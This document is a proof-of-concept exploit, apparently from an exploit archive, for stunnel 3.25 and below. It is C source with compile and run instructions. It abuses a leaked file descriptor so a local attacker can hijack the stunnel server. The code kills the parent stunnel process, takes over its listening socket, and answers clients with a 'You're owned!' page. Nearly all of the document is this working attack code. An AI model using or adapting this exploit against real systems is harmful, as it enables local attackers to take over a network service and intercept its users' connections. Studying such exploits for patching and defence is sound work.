Stunnel v3.25 and below exploit which makes use of the file descriptor leak discussed in this Conectiva Security Advisory. Allows local attackers to hijack the stunnel server.
09a9bb3888296e39b2d5be94dc6ce4fb1ec76e2101199eaddf6995a5a5035a8a/*
To compile:
$(CC) $(CFLAGS) -o $@ leak-sploit.c -lssl
To run the POC code, you can execute it directly as the
local program (-l argument) for Stunnel :
/usr/sbin/stunnel -s nobody -g nobody -D 7 -p
/etc/ssl/certs/stunnel.pem -o /tmp/stunnel.log -P
/tmp/stunnel.pid -d 2222 -l
/opt/stunnel-sploit/leak-sploit -- leak-sploit
Then connect to stunnel like: lynx https://localhost:2222
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <openssl/ssl.h>
/*
* The basic scheme goes like this:
* 1) Get rid of the parent
* 2) init the openssl library
* 3) start handling requests
*/
/* You may need to adjust these next 3 items */
#define LISTEN_DESCRIPTOR 6
#define CERTF "/opt/stunnel-sploit/foo-cert.pem"
#define KEYF "/opt/stunnel-sploit/foo-cert.pem"
static SSL_CTX *ctx;
static SSL *ssl;
static X509 *client_cert;
static SSL_METHOD *meth;
static void server_loop(int descr);
static void ssl_init(void);
int main(int argc, char *argv[])
{
int pid = getppid();
/* Need to fork so stunnel doesn't kill us */
if (fork() == 0) {
/* Become session leader */
setsid();
/* Goodbye - thanks for the descriptor */
kill(pid, SIGUSR2);
close(0); close(1); close(2);
ssl_init();
server_loop(LISTEN_DESCRIPTOR);
}
return 0;
}
static void server_loop(int descr)
{
struct timeval tv;
fd_set read_mask ;
FD_SET(descr, &read_mask);
for (;;) {
struct sockaddr_in remote;
socklen_t len = sizeof(remote);
int fd;
if (select(descr+1, &read_mask, NULL, NULL, 0 )
== -1)
continue;
fd = accept(descr, &remote, &len);
if (fd >=0) {
char obuf[4096];
if ((ssl = SSL_new (ctx)) != NULL) {
SSL_set_fd (ssl, fd);
SSL_set_accept_state(ssl);
if ((SSL_accept (ssl)) == -1)
exit(1);
strcpy(obuf, "HTTP/1.0 200 OK\n");
strcat(obuf, "Content-Length: 40\n");
strcat(obuf, "Content-Type:
text/html\n\n");
strcat(obuf, "<html><body>You're
owned!</body></html>");
SSL_write (ssl, obuf, strlen(obuf));
SSL_set_shutdown(ssl,
SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN);
SSL_free (ssl);
ERR_remove_state(0);
}
close(fd);
}
}
SSL_CTX_free (ctx); /* Never gets called */
}
static void ssl_init(void)
{
SSL_load_error_strings();
SSLeay_add_ssl_algorithms();
meth = SSLv23_server_method();
ctx = SSL_CTX_new (meth);
if (!ctx)
exit(1);
if (SSL_CTX_use_certificate_file(ctx, CERTF,
SSL_FILETYPE_PEM) <= 0)
exit(1);
if (SSL_CTX_use_PrivateKey_file(ctx, KEYF,
SSL_FILETYPE_PEM) <= 0)
exit(1);
if (!SSL_CTX_check_private_key(ctx))
exit(1);
}
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